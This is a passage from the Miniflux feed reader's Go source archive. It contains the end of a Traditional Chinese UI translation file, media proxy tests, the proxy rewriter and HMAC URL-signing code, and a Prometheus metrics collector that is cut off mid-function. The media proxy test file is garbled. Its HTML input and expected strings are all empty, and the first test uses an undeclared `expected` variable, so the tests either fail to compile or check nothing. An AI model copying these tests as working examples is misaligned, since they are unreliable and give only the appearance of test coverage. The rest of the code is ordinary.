"error.feed_invalid_keeplist_rule": "保留列表規則無效。",
"error.user_mandatory_fields": "必須填寫使用者名稱",
"error.api_key_already_exists": "此 API 金鑰已存在。",
"error.unable_to_create_api_key": "無法建立此 API 金鑰。",
"error.invalid_theme": "無效的主題。",
"error.invalid_language": "無效的語言。",
"error.invalid_timezone": "無效的時區。",
"error.invalid_entry_direction": "無效的輸入方向。",
"error.invalid_display_mode": "無效的網頁應用顯示模式。",
"error.invalid_gesture_nav": "手勢導航無效.",
"error.invalid_default_home_page": "預設主頁無效！",
"form.feed.label.title": "標題",
"form.feed.label.site_url": "網站 URL",
"form.feed.label.feed_url": "訂閱 Feed URL",
"form.feed.label.description": "描述",
"form.feed.label.category": "類別",
"form.feed.label.crawler": "下載原文內容",
"form.feed.label.feed_username": "Feed 使用者名稱",
"form.feed.label.feed_password": "Feed 密碼",
"form.feed.label.user_agent": "覆蓋預設的使用者代理",
"form.feed.label.cookie": "設定 Cookies",
"form.feed.label.scraper_rules": "抓取規則",
"form.feed.label.rewrite_rules": "重寫規則",
"form.feed.label.blocklist_rules": "過濾規則",
"form.feed.label.keeplist_rules": "保留規則",
"form.feed.label.urlrewrite_rules": "URL 重写规则",
"form.feed.label.apprise_service_urls": "使用逗號分隔的 Apprise 服務 URL 列表",
"form.feed.label.ignore_http_cache": "忽略 HTTP 快取",
"form.feed.label.allow_self_signed_certificates": "允許自簽章憑證或無效憑證",
"form.feed.label.disable_http2": "Disable HTTP/2 to avoid fingerprinting",
"form.feed.label.fetch_via_proxy": "透過代理獲取",
"form.feed.label.disabled": "請勿更新此 Feed",
"form.feed.label.no_media_player": "沒有媒體播放器(音訊/視訊)",
"form.feed.label.hide_globally": "隱藏全域性未讀列表中的文章",
"form.feed.label.ntfy_activate": "Push entries to ntfy",
"form.feed.label.ntfy_priority": "Ntfy priority",
"form.feed.label.ntfy_max_priority": "Ntfy max priority",
"form.feed.label.ntfy_high_priority": "Ntfy high priority",
"form.feed.label.ntfy_default_priority": "Ntfy default priority",
"form.feed.label.ntfy_low_priority": "Ntfy low priority",
"form.feed.label.ntfy_min_priority": "Ntfy min priority",
"form.integration.cubox_activate": "Save entries to Cubox",
"form.integration.cubox_api_link": "Cubox API link",
"form.feed.fieldset.general": "通用",
"form.feed.fieldset.rules": "規則",
"form.feed.fieldset.network_settings": "網路設定",
"form.feed.fieldset.integration": "第三方服務",
"form.category.label.title": "標題",
"form.category.hide_globally": "隱藏全域性未讀列表中的文章",
"form.user.label.username": "使用者名稱",
"form.user.label.password": "密碼",
"form.user.label.confirmation": "再次輸入密碼",
"form.user.label.admin": "管理員",
"form.prefs.label.language": "語言",
"form.prefs.label.timezone": "時區",
"form.prefs.label.theme": "主題",
"form.prefs.label.entry_sorting": "文章排序",
"form.prefs.label.entries_per_page": "每頁文章數",
"form.prefs.label.default_reading_speed": "其他語言的閱讀速度（每分鐘字）",
"form.prefs.label.cjk_reading_speed": "中文、韓文和日文的閱讀速度（每分鐘字元數）",
"form.prefs.label.display_mode": "漸進式網絡應用程序 (PWA) 顯示模式",
"form.prefs.select.older_first": "舊->新",
"form.prefs.select.recent_first": "新->舊",
"form.prefs.select.fullscreen": "全屏",
"form.prefs.select.standalone": "獨立",
"form.prefs.select.minimal_ui": "最小",
"form.prefs.select.browser": "瀏覽器",
"form.prefs.select.publish_time": "文章發佈時間",
"form.prefs.select.created_time": "文章創建時間",
"form.prefs.select.alphabetical": "按字母順序",
"form.prefs.select.unread_count": "未讀計數",
"form.prefs.select.none": "沒有任何",
"form.prefs.select.tap": "雙擊",
"form.prefs.select.swipe": "滑動",
"form.prefs.label.keyboard_shortcuts": "啟用鍵盤快捷鍵",
"form.prefs.label.entry_swipe": "在触摸屏上启用输入滑动",
"form.prefs.label.gesture_nav": "在條目之間導航的手勢",
"form.prefs.label.show_reading_time": "顯示文章的預計閱讀時間",
"form.prefs.label.custom_css": "自定義 CSS",
"form.prefs.label.custom_js": "自定義 JavaScript",
"form.prefs.label.entry_order": "文章排序依據",
"form.prefs.label.default_home_page": "預設主頁",
"form.prefs.label.categories_sorting_order": "分類排序",
"form.prefs.label.mark_read_on_view": "查看時自動將條目標記為已讀",
"form.prefs.label.mark_read_on_view_or_media_completion": "Mark entries as read when viewed. For audio/video, mark as read at 90%% completion",
"form.prefs.label.mark_read_on_media_completion": "Only mark as read when audio/video playback reaches 90%% completion",
"form.prefs.label.mark_read_manually": "Mark entries as read manually",
"form.prefs.fieldset.application_settings": "應用程式設定",
"form.prefs.fieldset.authentication_settings": "使用者認證設定",
"form.prefs.fieldset.reader_settings": "閱讀器設定",
"form.prefs.fieldset.global_feed_settings": "Global Feed Settings",
"form.prefs.label.external_font_hosts": "External font hosts",
"form.prefs.help.external_font_hosts": "Space separated list of external font hosts to allow. For example: \"fonts.gstatic.com fonts.googleapis.com\".",
"error.settings_invalid_domain_list": "Invalid domain list. Please provide a space separated list of domains.",
"form.import.label.file": "OPML 檔案",
"form.import.label.url": "URL",
"form.integration.betula_activate": "Save entries to Betula",
"form.integration.betula_url": "Betula server URL",
"form.integration.betula_token": "Betula Token",
"form.integration.fever_activate": "啟用 Fever API",
"form.integration.fever_username": "Fever 使用者名稱",
"form.integration.fever_password": "Fever 密碼",
"form.integration.fever_endpoint": "Fever API 端點",
"form.integration.googlereader_activate": "啟用 Google Reader API",
"form.integration.googlereader_username": "Google Reader 使用者名稱",
"form.integration.googlereader_password": "Google Reader 密碼",
"form.integration.googlereader_endpoint": "Google Reader API 端點:",
"form.integration.pinboard_activate": "儲存文章到 Pinboard",
"form.integration.pinboard_token": "Pinboard API Token",
"form.integration.pinboard_tags": "Pinboard 標籤",
"form.integration.pinboard_bookmark": "標記為未讀",
"form.integration.instapaper_activate": "儲存文章到 Instapaper",
"form.integration.instapaper_username": "Instapaper 使用者名稱",
"form.integration.instapaper_password": "Instapaper 密碼",
"form.integration.pocket_activate": "儲存文章到 Pocket",
"form.integration.pocket_consumer_key": "Pocket 使用者金鑰",
"form.integration.pocket_access_token": "Pocket 訪問金鑰",
"form.integration.pocket_connect_link": "連線您的 Pocket 帳戶",
"form.integration.wallabag_activate": "儲存文章到 Wallabag",
"form.integration.wallabag_only_url": "仅发送 URL（而不是完整内容）",
"form.integration.wallabag_endpoint": "Wallabag 基本 URL",
"form.integration.wallabag_client_id": "Wallabag 客戶端 ID",
"form.integration.wallabag_client_secret": "Wallabag 客戶端 Secret",
"form.integration.wallabag_username": "Wallabag 使用者名稱",
"form.integration.wallabag_password": "Wallabag 密碼",
"form.integration.notion_activate": "儲存文章到 Notion",
"form.integration.notion_page_id": "Notion Page ID",
"form.integration.notion_token": "Notion Secret Token",
"form.integration.apprise_activate": "推送文章到 Apprise",
"form.integration.apprise_url": "Apprise API URL",
"form.integration.apprise_services_url": "使用逗號分隔的 Apprise 服務 URL 列表",
"form.integration.nunux_keeper_activate": "儲存文章到 Nunux Keeper",
"form.integration.nunux_keeper_endpoint": "Nunux Keeper API 端點",
"form.integration.nunux_keeper_api_key": "Nunux Keeper API 金鑰",
"form.integration.omnivore_activate": "儲存文章到 Omnivore",
"form.integration.omnivore_url": "Omnivore API 端點",
"form.integration.omnivore_api_key": "Omnivore API 金鑰",
"form.integration.espial_activate": "儲存文章到 Espial",
"form.integration.espial_endpoint": "Espial API 端點",
"form.integration.espial_api_key": "Espial API 金鑰",
"form.integration.espial_tags": "Espial 標籤",
"form.integration.readwise_activate": "儲存文章到 Readwise Reader",
"form.integration.readwise_api_key": "Readwise Reader Access Token",
"form.integration.readwise_api_key_link": "取得你的 Readwise Access Token",
"form.integration.telegram_bot_activate": "推送文章到 Telegram",
"form.integration.telegram_bot_token": "Bot token",
"form.integration.telegram_chat_id": "Chat ID",
"form.integration.telegram_topic_id": "Topic ID",
"form.integration.telegram_bot_disable_web_page_preview": "停用網頁預覽",
"form.integration.telegram_bot_disable_notification": "停用通知",
"form.integration.telegram_bot_disable_buttons": "不展示按鈕",
"form.integration.linkace_activate": "Save entries to LinkAce",
"form.integration.linkace_endpoint": "LinkAce API Endpoint",
"form.integration.linkace_api_key": "LinkAce API key",
"form.integration.linkace_tags": "LinkAce Tags",
"form.integration.linkace_is_private": "Mark link as private",
"form.integration.linkace_check_disabled": "Disable link check",
"form.integration.linkding_activate": "儲存文章到 Linkding",
"form.integration.linkding_endpoint": "Linkding API 端點",
"form.integration.linkding_api_key": "Linkding API 金鑰",
"form.integration.linkding_tags": "Linkding Tags",
"form.integration.linkding_bookmark": "標記為未讀",
"form.integration.linkwarden_activate": "儲存文章到 Linkwarden",
"form.integration.linkwarden_endpoint": "Linkwarden API 端點",
"form.integration.linkwarden_api_key": "Linkwarden API 金鑰",
"form.integration.matrix_bot_activate": "推送文章到 Matrix",
"form.integration.matrix_bot_user": "Matrix 的用戶名",
"form.integration.matrix_bot_password": "Matrix 的密碼",
"form.integration.matrix_bot_url": "Matrix 伺服器的 URL",
"form.integration.matrix_bot_chat_id": "Matrix 房間 ID",
"form.integration.raindrop_activate": "Save entries to Raindrop",
"form.integration.raindrop_token": "(Test) Token",
"form.integration.raindrop_collection_id": "Collection ID",
"form.integration.raindrop_tags": "Tags (comma-separated)",
"form.integration.readeck_activate": "儲存文章到 Readeck",
"form.integration.readeck_endpoint": "Readeck API 端點",
"form.integration.readeck_api_key": "Readeck API 金鑰",
"form.integration.readeck_labels": "Readeck Labels",
"form.integration.readeck_only_url": "仅发送 URL（而不是完整内容）",
"form.integration.shiori_activate": "儲存文章到 Shiori",
"form.integration.shiori_endpoint": "Shiori API 端點",
"form.integration.shiori_username": "Shiori 使用者名稱",
"form.integration.shiori_password": "Shiori 密碼",
"form.integration.shaarli_activate": "儲存文章到 Shaarli",
"form.integration.shaarli_endpoint": "Shaarli URL",
"form.integration.shaarli_api_secret": "Shaarli API 金鑰",
"form.integration.webhook_activate": "啟用 Webhook",
"form.integration.webhook_url": "Webhook URL",
"form.integration.webhook_secret": "Webhook Secret",
"form.integration.rssbridge_activate": "新增訂閱時檢查 RSS-Bridge",
"form.integration.rssbridge_url": "RSS-Bridge 伺服器的 URL",
"form.integration.ntfy_activate": "Push entries to ntfy",
"form.integration.ntfy_topic": "Ntfy topic",
"form.integration.ntfy_url": "Ntfy URL (optional, default is ntfy.sh)",
"form.integration.ntfy_api_token": "Ntfy API Token (optional)",
"form.integration.ntfy_username": "Ntfy Username (optional)",
"form.integration.ntfy_password": "Ntfy Password (optional)",
"form.integration.ntfy_icon_url": "Ntfy Icon URL (optional)",
"form.integration.ntfy_internal_links": "Use internal links on click (optional)",
"form.integration.discord_activate": "推送文章到 Discord",
"form.integration.discord_webhook_link": "Discord Webhook link",
"form.api_key.label.description": "API金鑰標籤",
"form.submit.loading": "載入中…",
"form.submit.saving": "儲存中…",
"time_elapsed.not_yet": "未來",
"time_elapsed.yesterday": "昨天",
"time_elapsed.now": "剛剛",
"time_elapsed.minutes": [
"%d 分鐘前"
],
"time_elapsed.hours": [
"%d 小時前"
],
"time_elapsed.days": [
"%d 天前"
],
"time_elapsed.weeks": [
"%d 周前"
],
"time_elapsed.months": [
"%d 月前"
],
"time_elapsed.years": [
"%d 年前"
],
"alert.too_many_feeds_refresh": [
"You have triggered too many feed refreshes. Please wait %d minute before trying again."
],
"alert.background_feed_refresh": "All feeds are being refreshed in the background. You can continue to use Miniflux while this process is running.",
"error.http_response_too_large": "The HTTP response is too large. You could increase the HTTP response size limit in the global settings (requires a server restart).",
"error.http_body_read": "Unable to read the HTTP body: %v.",
"error.http_empty_response_body": "The HTTP response body is empty.",
"error.http_empty_response": "The HTTP response is empty. Perhaps, this website is using a bot protection mechanism?",
"error.tls_error": "TLS error: %q. You could disable TLS verification in the feed settings if you would like.",
"error.network_operation": "Miniflux is not able to reach this website due to a network error: %v.",
"error.network_timeout": "This website is too slow and the request timed out: %v",
"error.http_client_error": "HTTP client error: %v.",
"error.http_not_authorized": "Access to this website is not authorized. It could be a bad username or password.",
"error.http_too_many_requests": "Miniflux generated too many requests to this website. Please, try again later or change the application configuration.",
"error.http_forbidden": "Access to this website is forbidden. Perhaps, this website has a bot protection mechanism?",
"error.http_resource_not_found": "The requested resource is not found. Please, verify the URL.",
"error.http_internal_server_error": "The website is not available at the moment due to a server error. The problem is not on Miniflux side. Please, try again later.",
"error.http_bad_gateway": "The website is not available at the moment due to a bad gateway error. The problem is not on Miniflux side. Please, try again later.",
"error.http_service_unavailable": "The website is not available at the moment due to an internal server error. The problem is not on Miniflux side. Please, try again later.",
"error.http_gateway_timeout": "The website is not available at the moment due to a gateway timeout error. The problem is not on Miniflux side. Please, try again later.",
"error.http_unexpected_status_code": "The website is not available at the moment due to an unexpected HTTP status code: %d. The problem is not on Miniflux side. Please, try again later.",
"error.database_error": "Database error: %v.",
"error.category_not_found": "This category does not exist or does not belong to this user.",
"error.duplicated_feed": "This feed already exists.",
"error.unable_to_parse_feed": "Unable to parse this feed: %v.",
"error.feed_not_found": "This feed does not exist or does not belong to this user.",
"error.unable_to_detect_rssbridge": "Unable to detect feed using RSS-Bridge: %v.",
"error.feed_format_not_detected": "Unable to detect feed format: %v.",
"form.prefs.label.media_playback_rate": "音訊/視訊的播放速度",
"error.settings_media_playback_rate_range": "播放速度超出範圍",
"enclosure_media_controls.seek" : "Seek:",
"enclosure_media_controls.seek.title" : "Seek %s seconds",
"enclosure_media_controls.speed" : "Speed:",
"enclosure_media_controls.speed.faster" : "Faster",
"enclosure_media_controls.speed.faster.title" : "Faster by %sx",
"enclosure_media_controls.speed.slower" : "Slower",
"enclosure_media_controls.speed.slower.title" : "Slower by %sx",
"enclosure_media_controls.speed.reset" : "Reset",
"enclosure_media_controls.speed.reset.title" : "Reset speed to 1x"
}
v2-2.2.5/internal/mediaproxy/ 0000775 0000000 0000000 00000000000 14743520056 0016052 5 ustar 00root root 0000000 0000000 v2-2.2.5/internal/mediaproxy/media_proxy_test.go 0000664 0000000 0000000 00000050050 14743520056 0021760 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package mediaproxy // import "miniflux.app/v2/internal/mediaproxy"
import (
"net/http"
"os"
"testing"
"github.com/gorilla/mux"
"miniflux.app/v2/internal/config"
)
func TestProxyFilterWithHttpDefault(t *testing.T) {
os.Clearenv()
os.Setenv("PROXY_OPTION", "http-only")
os.Setenv("PROXY_MEDIA_TYPES", "image")
os.Setenv("PROXY_PRIVATE_KEY", "test")
var err error
parser := config.NewParser()
config.Opts, err = parser.ParseEnvironmentVariables()
if err != nil {
t.Fatalf(`Parsing failure: %v`, err)
}
r := mux.NewRouter()
r.HandleFunc("/proxy/{encodedDigest}/{encodedURL}", func(w http.ResponseWriter, r *http.Request) {}).Name("proxy")
input := `
`
output := RewriteDocumentWithRelativeProxyURL(r, input)
if expected != output {
t.Errorf(`Not expected output: got %s`, output)
}
}
func TestProxyFilterWithPictureSource(t *testing.T) {
os.Clearenv()
os.Setenv("PROXY_OPTION", "all")
os.Setenv("PROXY_MEDIA_TYPES", "image")
os.Setenv("PROXY_PRIVATE_KEY", "test")
var err error
parser := config.NewParser()
config.Opts, err = parser.ParseEnvironmentVariables()
if err != nil {
t.Fatalf(`Parsing failure: %v`, err)
}
r := mux.NewRouter()
r.HandleFunc("/proxy/{encodedDigest}/{encodedURL}", func(w http.ResponseWriter, r *http.Request) {}).Name("proxy")
input := ``
expected := ``
output := RewriteDocumentWithRelativeProxyURL(r, input)
if expected != output {
t.Errorf(`Not expected output: got %s`, output)
}
}
func TestProxyFilterOnlyNonHTTPWithPictureSource(t *testing.T) {
os.Clearenv()
os.Setenv("PROXY_OPTION", "https")
os.Setenv("PROXY_MEDIA_TYPES", "image")
os.Setenv("PROXY_PRIVATE_KEY", "test")
var err error
parser := config.NewParser()
config.Opts, err = parser.ParseEnvironmentVariables()
if err != nil {
t.Fatalf(`Parsing failure: %v`, err)
}
r := mux.NewRouter()
r.HandleFunc("/proxy/{encodedDigest}/{encodedURL}", func(w http.ResponseWriter, r *http.Request) {}).Name("proxy")
input := ``
expected := ``
output := RewriteDocumentWithRelativeProxyURL(r, input)
if expected != output {
t.Errorf(`Not expected output: got %s`, output)
}
}
func TestProxyWithImageDataURL(t *testing.T) {
os.Clearenv()
os.Setenv("PROXY_OPTION", "all")
os.Setenv("PROXY_MEDIA_TYPES", "image")
var err error
parser := config.NewParser()
config.Opts, err = parser.ParseEnvironmentVariables()
if err != nil {
t.Fatalf(`Parsing failure: %v`, err)
}
r := mux.NewRouter()
r.HandleFunc("/proxy/{encodedDigest}/{encodedURL}", func(w http.ResponseWriter, r *http.Request) {}).Name("proxy")
input := ``
expected := ``
output := RewriteDocumentWithRelativeProxyURL(r, input)
if expected != output {
t.Errorf(`Not expected output: got %s`, output)
}
}
func TestProxyWithImageSourceDataURL(t *testing.T) {
os.Clearenv()
os.Setenv("PROXY_OPTION", "all")
os.Setenv("PROXY_MEDIA_TYPES", "image")
var err error
parser := config.NewParser()
config.Opts, err = parser.ParseEnvironmentVariables()
if err != nil {
t.Fatalf(`Parsing failure: %v`, err)
}
r := mux.NewRouter()
r.HandleFunc("/proxy/{encodedDigest}/{encodedURL}", func(w http.ResponseWriter, r *http.Request) {}).Name("proxy")
input := ``
expected := ``
output := RewriteDocumentWithRelativeProxyURL(r, input)
if expected != output {
t.Errorf(`Not expected output: got %s`, output)
}
}
func TestProxyFilterWithVideo(t *testing.T) {
os.Clearenv()
os.Setenv("PROXY_OPTION", "all")
os.Setenv("PROXY_MEDIA_TYPES", "video")
os.Setenv("PROXY_PRIVATE_KEY", "test")
var err error
parser := config.NewParser()
config.Opts, err = parser.ParseEnvironmentVariables()
if err != nil {
t.Fatalf(`Parsing failure: %v`, err)
}
r := mux.NewRouter()
r.HandleFunc("/proxy/{encodedDigest}/{encodedURL}", func(w http.ResponseWriter, r *http.Request) {}).Name("proxy")
input := ``
expected := ``
output := RewriteDocumentWithRelativeProxyURL(r, input)
if expected != output {
t.Errorf(`Not expected output: got %s`, output)
}
}
func TestProxyFilterVideoPoster(t *testing.T) {
os.Clearenv()
os.Setenv("PROXY_OPTION", "all")
os.Setenv("PROXY_MEDIA_TYPES", "image")
os.Setenv("PROXY_PRIVATE_KEY", "test")
var err error
parser := config.NewParser()
config.Opts, err = parser.ParseEnvironmentVariables()
if err != nil {
t.Fatalf(`Parsing failure: %v`, err)
}
r := mux.NewRouter()
r.HandleFunc("/proxy/{encodedDigest}/{encodedURL}", func(w http.ResponseWriter, r *http.Request) {}).Name("proxy")
input := ``
expected := ``
output := RewriteDocumentWithRelativeProxyURL(r, input)
if expected != output {
t.Errorf(`Not expected output: got %s`, output)
}
}
func TestProxyFilterVideoPosterOnce(t *testing.T) {
os.Clearenv()
os.Setenv("PROXY_OPTION", "all")
os.Setenv("PROXY_MEDIA_TYPES", "image,video")
os.Setenv("PROXY_PRIVATE_KEY", "test")
var err error
parser := config.NewParser()
config.Opts, err = parser.ParseEnvironmentVariables()
if err != nil {
t.Fatalf(`Parsing failure: %v`, err)
}
r := mux.NewRouter()
r.HandleFunc("/proxy/{encodedDigest}/{encodedURL}", func(w http.ResponseWriter, r *http.Request) {}).Name("proxy")
input := ``
expected := ``
output := RewriteDocumentWithRelativeProxyURL(r, input)
if expected != output {
t.Errorf(`Not expected output: got %s`, output)
}
}
v2-2.2.5/internal/mediaproxy/rewriter.go 0000664 0000000 0000000 00000006650 14743520056 0020253 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package mediaproxy // import "miniflux.app/v2/internal/mediaproxy"
import (
"slices"
"strings"
"miniflux.app/v2/internal/config"
"miniflux.app/v2/internal/reader/sanitizer"
"miniflux.app/v2/internal/urllib"
"github.com/PuerkitoBio/goquery"
"github.com/gorilla/mux"
)
type urlProxyRewriter func(router *mux.Router, url string) string
func RewriteDocumentWithRelativeProxyURL(router *mux.Router, htmlDocument string) string {
return genericProxyRewriter(router, ProxifyRelativeURL, htmlDocument)
}
func RewriteDocumentWithAbsoluteProxyURL(router *mux.Router, htmlDocument string) string {
return genericProxyRewriter(router, ProxifyAbsoluteURL, htmlDocument)
}
func genericProxyRewriter(router *mux.Router, proxifyFunction urlProxyRewriter, htmlDocument string) string {
proxyOption := config.Opts.MediaProxyMode()
if proxyOption == "none" {
return htmlDocument
}
doc, err := goquery.NewDocumentFromReader(strings.NewReader(htmlDocument))
if err != nil {
return htmlDocument
}
for _, mediaType := range config.Opts.MediaProxyResourceTypes() {
switch mediaType {
case "image":
doc.Find("img, picture source").Each(func(i int, img *goquery.Selection) {
if srcAttrValue, ok := img.Attr("src"); ok {
if shouldProxy(srcAttrValue, proxyOption) {
img.SetAttr("src", proxifyFunction(router, srcAttrValue))
}
}
if srcsetAttrValue, ok := img.Attr("srcset"); ok {
proxifySourceSet(img, router, proxifyFunction, proxyOption, srcsetAttrValue)
}
})
if !slices.Contains(config.Opts.MediaProxyResourceTypes(), "video") {
doc.Find("video").Each(func(i int, video *goquery.Selection) {
if posterAttrValue, ok := video.Attr("poster"); ok {
if shouldProxy(posterAttrValue, proxyOption) {
video.SetAttr("poster", proxifyFunction(router, posterAttrValue))
}
}
})
}
case "audio":
doc.Find("audio, audio source").Each(func(i int, audio *goquery.Selection) {
if srcAttrValue, ok := audio.Attr("src"); ok {
if shouldProxy(srcAttrValue, proxyOption) {
audio.SetAttr("src", proxifyFunction(router, srcAttrValue))
}
}
})
case "video":
doc.Find("video, video source").Each(func(i int, video *goquery.Selection) {
if srcAttrValue, ok := video.Attr("src"); ok {
if shouldProxy(srcAttrValue, proxyOption) {
video.SetAttr("src", proxifyFunction(router, srcAttrValue))
}
}
if posterAttrValue, ok := video.Attr("poster"); ok {
if shouldProxy(posterAttrValue, proxyOption) {
video.SetAttr("poster", proxifyFunction(router, posterAttrValue))
}
}
})
}
}
output, err := doc.FindMatcher(goquery.Single("body")).Html()
if err != nil {
return htmlDocument
}
return output
}
func proxifySourceSet(element *goquery.Selection, router *mux.Router, proxifyFunction urlProxyRewriter, proxyOption, srcsetAttrValue string) {
imageCandidates := sanitizer.ParseSrcSetAttribute(srcsetAttrValue)
for _, imageCandidate := range imageCandidates {
if shouldProxy(imageCandidate.ImageURL, proxyOption) {
imageCandidate.ImageURL = proxifyFunction(router, imageCandidate.ImageURL)
}
}
element.SetAttr("srcset", imageCandidates.String())
}
func shouldProxy(attrValue, proxyOption string) bool {
return !strings.HasPrefix(attrValue, "data:") &&
(proxyOption == "all" || !urllib.IsHTTPS(attrValue))
}
v2-2.2.5/internal/mediaproxy/url.go 0000664 0000000 0000000 00000003447 14743520056 0017213 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package mediaproxy // import "miniflux.app/v2/internal/mediaproxy"
import (
"crypto/hmac"
"crypto/sha256"
"encoding/base64"
"log/slog"
"net/url"
"github.com/gorilla/mux"
"miniflux.app/v2/internal/config"
"miniflux.app/v2/internal/http/route"
)
func ProxifyRelativeURL(router *mux.Router, mediaURL string) string {
if mediaURL == "" {
return ""
}
if customProxyURL := config.Opts.MediaCustomProxyURL(); customProxyURL != "" {
return proxifyURLWithCustomProxy(mediaURL, customProxyURL)
}
mac := hmac.New(sha256.New, config.Opts.MediaProxyPrivateKey())
mac.Write([]byte(mediaURL))
digest := mac.Sum(nil)
return route.Path(router, "proxy", "encodedDigest", base64.URLEncoding.EncodeToString(digest), "encodedURL", base64.URLEncoding.EncodeToString([]byte(mediaURL)))
}
func ProxifyAbsoluteURL(router *mux.Router, mediaURL string) string {
if mediaURL == "" {
return ""
}
if customProxyURL := config.Opts.MediaCustomProxyURL(); customProxyURL != "" {
return proxifyURLWithCustomProxy(mediaURL, customProxyURL)
}
// Note that the proxyified URL is relative to the root URL.
proxifiedUrl := ProxifyRelativeURL(router, mediaURL)
absoluteURL, err := url.JoinPath(config.Opts.RootURL(), proxifiedUrl)
if err != nil {
return mediaURL
}
return absoluteURL
}
func proxifyURLWithCustomProxy(mediaURL, customProxyURL string) string {
if customProxyURL == "" {
return mediaURL
}
absoluteURL, err := url.JoinPath(customProxyURL, base64.URLEncoding.EncodeToString([]byte(mediaURL)))
if err != nil {
slog.Error("Incorrect custom media proxy URL",
slog.String("custom_proxy_url", customProxyURL),
slog.Any("error", err),
)
return mediaURL
}
return absoluteURL
}
v2-2.2.5/internal/metric/ 0000775 0000000 0000000 00000000000 14743520056 0015154 5 ustar 00root root 0000000 0000000 v2-2.2.5/internal/metric/metric.go 0000664 0000000 0000000 00000012755 14743520056 0017000 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package metric // import "miniflux.app/v2/internal/metric"
import (
"log/slog"
"time"
"miniflux.app/v2/internal/storage"
"github.com/prometheus/client_golang/prometheus"
)
// Prometheus Metrics.
var (
BackgroundFeedRefreshDuration = prometheus.NewHistogramVec(
prometheus.HistogramOpts{
Namespace: "miniflux",
Name: "background_feed_refresh_duration",
Help: "Processing time to refresh feeds from the background workers",
Buckets: prometheus.LinearBuckets(1, 2, 15),
},
[]string{"status"},
)
ScraperRequestDuration = prometheus.NewHistogramVec(
prometheus.HistogramOpts{
Namespace: "miniflux",
Name: "scraper_request_duration",
Help: "Web scraper request duration",
Buckets: prometheus.LinearBuckets(1, 2, 25),
},
[]string{"status"},
)
ArchiveEntriesDuration = prometheus.NewHistogramVec(
prometheus.HistogramOpts{
Namespace: "miniflux",
Name: "archive_entries_duration",
Help: "Archive entries duration",
Buckets: prometheus.LinearBuckets(1, 2, 30),
},
[]string{"status"},
)
usersGauge = prometheus.NewGauge(
prometheus.GaugeOpts{
Namespace: "miniflux",
Name: "users",
Help: "Number of users",
},
)
feedsGauge = prometheus.NewGaugeVec(
prometheus.GaugeOpts{
Namespace: "miniflux",
Name: "feeds",
Help: "Number of feeds by status",
},
[]string{"status"},
)
brokenFeedsGauge = prometheus.NewGauge(
prometheus.GaugeOpts{
Namespace: "miniflux",
Name: "broken_feeds",
Help: "Number of broken feeds",
},
)
entriesGauge = prometheus.NewGaugeVec(
prometheus.GaugeOpts{
Namespace: "miniflux",
Name: "entries",
Help: "Number of entries by status",
},
[]string{"status"},
)
dbOpenConnectionsGauge = prometheus.NewGauge(
prometheus.GaugeOpts{
Namespace: "miniflux",
Name: "db_open_connections",
Help: "The number of established connections both in use and idle",
},
)
dbConnectionsInUseGauge = prometheus.NewGauge(
prometheus.GaugeOpts{
Namespace: "miniflux",
Name: "db_connections_in_use",
Help: "The number of connections currently in use",
},
)
dbConnectionsIdleGauge = prometheus.NewGauge(
prometheus.GaugeOpts{
Namespace: "miniflux",
Name: "db_connections_idle",
Help: "The number of idle connections",
},
)
dbConnectionsWaitCountGauge = prometheus.NewGauge(
prometheus.GaugeOpts{
Namespace: "miniflux",
Name: "db_connections_wait_count",
Help: "The total number of connections waited for",
},
)
dbConnectionsMaxIdleClosedGauge = prometheus.NewGauge(
prometheus.GaugeOpts{
Namespace: "miniflux",
Name: "db_connections_max_idle_closed",
Help: "The total number of connections closed due to SetMaxIdleConns",
},
)
dbConnectionsMaxIdleTimeClosedGauge = prometheus.NewGauge(
prometheus.GaugeOpts{
Namespace: "miniflux",
Name: "db_connections_max_idle_time_closed",
Help: "The total number of connections closed due to SetConnMaxIdleTime",
},
)
dbConnectionsMaxLifetimeClosedGauge = prometheus.NewGauge(
prometheus.GaugeOpts{
Namespace: "miniflux",
Name: "db_connections_max_lifetime_closed",
Help: "The total number of connections closed due to SetConnMaxLifetime",
},
)
)
// Collector represents a metric collector.
type Collector struct {
store *storage.Storage
refreshInterval int
}
// NewCollector initializes a new metric collector.
func NewCollector(store *storage.Storage, refreshInterval int) *Collector {
prometheus.MustRegister(BackgroundFeedRefreshDuration)
prometheus.MustRegister(ScraperRequestDuration)
prometheus.MustRegister(ArchiveEntriesDuration)
prometheus.MustRegister(usersGauge)
prometheus.MustRegister(feedsGauge)
prometheus.MustRegister(brokenFeedsGauge)
prometheus.MustRegister(entriesGauge)
prometheus.MustRegister(dbOpenConnectionsGauge)
prometheus.MustRegister(dbConnectionsInUseGauge)
prometheus.MustRegister(dbConnectionsIdleGauge)
prometheus.MustRegister(dbConnectionsWaitCountGauge)
prometheus.MustRegister(dbConnectionsMaxIdleClosedGauge)
prometheus.MustRegister(dbConnectionsMaxIdleTimeClosedGauge)
prometheus.MustRegister(dbConnectionsMaxLifetimeClosedGauge)
return &Collector{store, refreshInterval}
}
// GatherStorageMetrics polls the database to fetch metrics.
func (c *Collector) GatherStorageMetrics() {
for range time.Tick(time.Duration(c.refreshInterval) * time.Second) {
slog.Debug("Collecting metrics from the database")
usersGauge.Set(float64(c.store.CountUsers()))
brokenFeedsGauge.Set(float64(c.store.CountAllFeedsWithErrors()))
feedsCount := c.store.CountAllFeeds()
for status, count := range feedsCount {
feedsGauge.WithLabelValues(status).Set(float64(count))
}
entriesCount := c.store.CountAllEntries()
for status, count := range entriesCount {
entriesGauge.WithLabelValues(status).Set(float64(count))
}
dbStats := c.store.DBStats()
dbOpenConnectionsGauge.Set(float64(dbStats.OpenConnections))
dbConnectionsInUseGauge.Set(float64(dbStats.InUse))
dbConnectionsIdleGauge.Set(float64(dbStats.Idle))
dbConnectionsWaitCountGauge.Set(float64(dbStats.WaitCount))
dbConnectionsMaxIdleClosedGauge.Set(float64(dbStats.MaxIdleClosed))
dbConnectionsMaxIdleTimeClosedGauge.Set(float64(dbStats.MaxIdleTimeClosed))
dbConnectionsMaxLifetimeClosedGauge.Set(float64(dbStats.MaxLifetimeClosed))
